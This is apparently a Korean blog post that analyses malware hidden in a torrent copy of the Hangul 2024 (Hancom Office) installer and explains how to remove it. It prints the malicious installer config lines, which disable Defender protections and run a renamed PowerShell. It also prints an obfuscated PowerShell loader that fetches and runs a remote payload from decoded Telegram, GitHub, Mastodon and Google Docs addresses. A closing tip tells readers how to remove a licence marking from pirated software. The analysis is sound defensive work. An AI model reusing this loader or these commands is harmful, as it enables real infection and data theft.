한글 2024 토렌트 파일 중 악성 코드가 추가된 파일이 있다고 한다. 이후 업데이트 되면서 일부 악성 코드가 바뀌었다.
악성 코드는 한컴오피스에서는 불필요한 작업이므로 설치 환경 파일을 편집해야 한다.
후처리 코드 삭제
\Install\InstallerConfig.ini 파일을 메모장으로 열고
[PostInstall]
ExtRun0=Install\Install_UI\lo\HOffice130.exe
ExtRun1=Install\Install_UI\lo\HOffice130.exe
ExtRun2=Install\Install_UI\lo\HOffice130.exe
ExtRun3=Install\HOffice2024Update_20240624.exe
ExtRunParam0=execmd copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Install\Install_UI\lo\vcredist.exe
ExtRunParam1=exec hide cmd.exe /c Install\Install_UI\lo\vcredist.exe Add-MpPreference -ExclusionProcess 'vcredist.exe';Add-MpPreference -ThreatIDDefaultAction_Actions @(6,6,6) -ThreatIDDefaultAction_Ids @(2147814524,2147731250,2147735503)
ExtRunParam2=exec hide cmd.exe /c Install\Install_UI\lo\vcredist.exe Invoke-Expression (Get-Content "Install\Install_UI\ci.xaml" -Raw)
ExtRunParam3=/silent
[PostInstall] 아래 코드를 전부 삭제 후 저장한다.
그리고 \Install\Setup.exe 파일로 설치하면 정상 설치가 된다.
중간에 있는 업데이트 코드는 파일을 직접 실행하면 된다. /silent 옵션은 설치 창이 보이지 않게 하는 옵션일 뿐이다.
\Install\HOffice2024Update_20240624.exe 파일을 실행하여 업데이트를 완료한다.
위 두 파일은 한컴에서 만든 파일이므로 안심해도 된다.
악성 코드 정보
한글 2024 [한컴오피스] - 13.0.0.1053, 2024-06-24 업데이트
\Install\Install_UI\lo\HOffice130.exe 파일 정보
Nir Sofer(널소프트로 유명)에서 만든 NirCmd.exe 파일이며 파일명만 바꾼 것이다. 사용자를 속이려는 목적.
\Install\Install_UI\ci.xaml 파일 정보
[PostInstall] 그룹의 ExtRun2 항목에서 실행되는 파일이다. 이 파일 또한 xaml(재믈) 파일이 아닌, 사용자를 속이기 위한 파일일 뿐이다. 그래서 -Raw 옵션으로 코드를 그대로 읽어 들인다.
원본 재믈은 \Install\Install_UI\ci.xaml 파일이며 .xaml은 MS에서 만든 디자인 파일 형식이다. Visual Studio(Blend)에서 작업할 수 있다.
if ([Environment]::Is64BitOperatingSystem) {
$ProgramFilesPath = ${env:ProgramFiles(x86)}
} else {
$ProgramFilesPath = $env:ProgramFiles
}
$sourcePath = Join-Path $ProgramFilesPath "Hnc\Office 2024\HOffice130\Bin\UxXml\Hancom2016\Common\Image\ko-kr"
Remove-Item -Path "$sourcePath\ci.xaml" -Force -ErrorAction SilentlyContinue
Copy-Item -Path "ci.png" -Destination $sourcePath -ErrorAction SilentlyContinue
$TkxBgEzPr = "aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO"
$ZCiANdmlr = "aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS9lYjkwMGVhN2NlMTczNGVmMDBlNWUzMGY4NDExZjdmMS9yYXcvUG93ZXI="
$pybjWzOsw = "aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE"
$oyJVyJMCf = "aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO"
$CPuWmDCEv = "aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ=="
function Get-WebContent {
param($IfyshvJBA)
$EJoRnwpWw = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($IfyshvJBA))
try {
$WebRequest = Invoke-WebRequest -Uri $EJoRnwpWw -UseBasicParsing
if ($WebRequest -notmatch "CheckMP") {
throw "not found"
}
$Id = $WebRequest -split "CheckMP" | Select-Object -Index 1
$Id = $Id -split "\|" | Select-Object -Index 0
if ($Id -match "^https?://") {
$SFevpQGAd = $Id
} else {
$SFevpQGAd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CPuWmDCEv)) + $Id
}
$WebRequest2 = Invoke-WebRequest -Uri $SFevpQGAd -UseBasicParsing
$EncodedScript = $WebRequest2 -split "10\|" | Select-Object -Index 1
if ($EncodedScript -eq $null) {
throw "not found"
}
$EncodedScript = $EncodedScript -split "\|" | Select-Object -Index 0
return $EncodedScript
} catch {
return $null
}
}
$BRBzPqvnl = @($TkxBgEzPr, $ZCiANdmlr, $pybjWzOsw, $oyJVyJMCf)
$EncodedScript = $null
foreach ($IfyshvJBA in $BRBzPqvnl) {
$EncodedScript = Get-WebContent -IfyshvJBA $IfyshvJBA
if ($EncodedScript -ne $null) {
break
}
}
if ($EncodedScript -ne $null) {
$ScriptBlock = [ScriptBlock]::Create("Install\Install_UI\lo\vcredist.exe -e $EncodedScript")
$Result = & $ScriptBlock
}
위에 영숫자가 섞여있는 문자들이 있는데, 컴맹들이 알기 어렵게 인코딩한 것일 뿐이다. 디코딩 해보자.
aHR0cHM6Ly90Lm1lL2RSaWR1bEVEaFJRWU5SRWtO
https://t.me/dRidulEDhRQYNREkN
(텔레그램 채팅 링크이다)
aHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vdGhhbWFuYXJ5YS9lYjkwMGVhN2NlMTczNGVmMDBlNWUzMGY4NDExZjdmMS9yYXcvUG93ZXI=
https://gist.github.com/thamanarya/eb900ea7ce1734ef00e5e30f8411f7f1/raw/
(URL 앞부분)
aHR0cHM6Ly90Lm1lL0lYdk1Hc2l5UHVIb1BTU2lE
https://t.me/IXvMGsiyPuHoPSSiD
(얘도 텔레그램 채팅 링크이다)
aHR0cHM6Ly9tYXN0b2Rvbi5zb2NpYWwvQGRSaWR1bEVEaFJRWU5SRWtO
https://mastodon.social/@dRidulEDhRQYNREkN
(mastodon SNS 링크이다)
aHR0cHM6Ly9kb2NzLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPQ==
https://docs.google.com/uc?export=download&id=
(URL 앞부분)
개인 정보를 해당 링크로 전송하는 기능을 하는 것 같다. 자세한 설명은 생략한다.😏
교육기관용 표시 지우기
위 악성 코드 중에 교육기관용 표시를 지우는 코드가 있다. 교육기관용 표시는 프로그램 실행 중, 프로그램 정보 창에서 볼 수 있다.
C:\Program Files (x86)\Hnc\Office 2024\HOffice130\Bin\UxXml\Hancom2016\Common\Image\ko-kr\ci.xaml 파일을 삭제하거나 이름을 변경한다.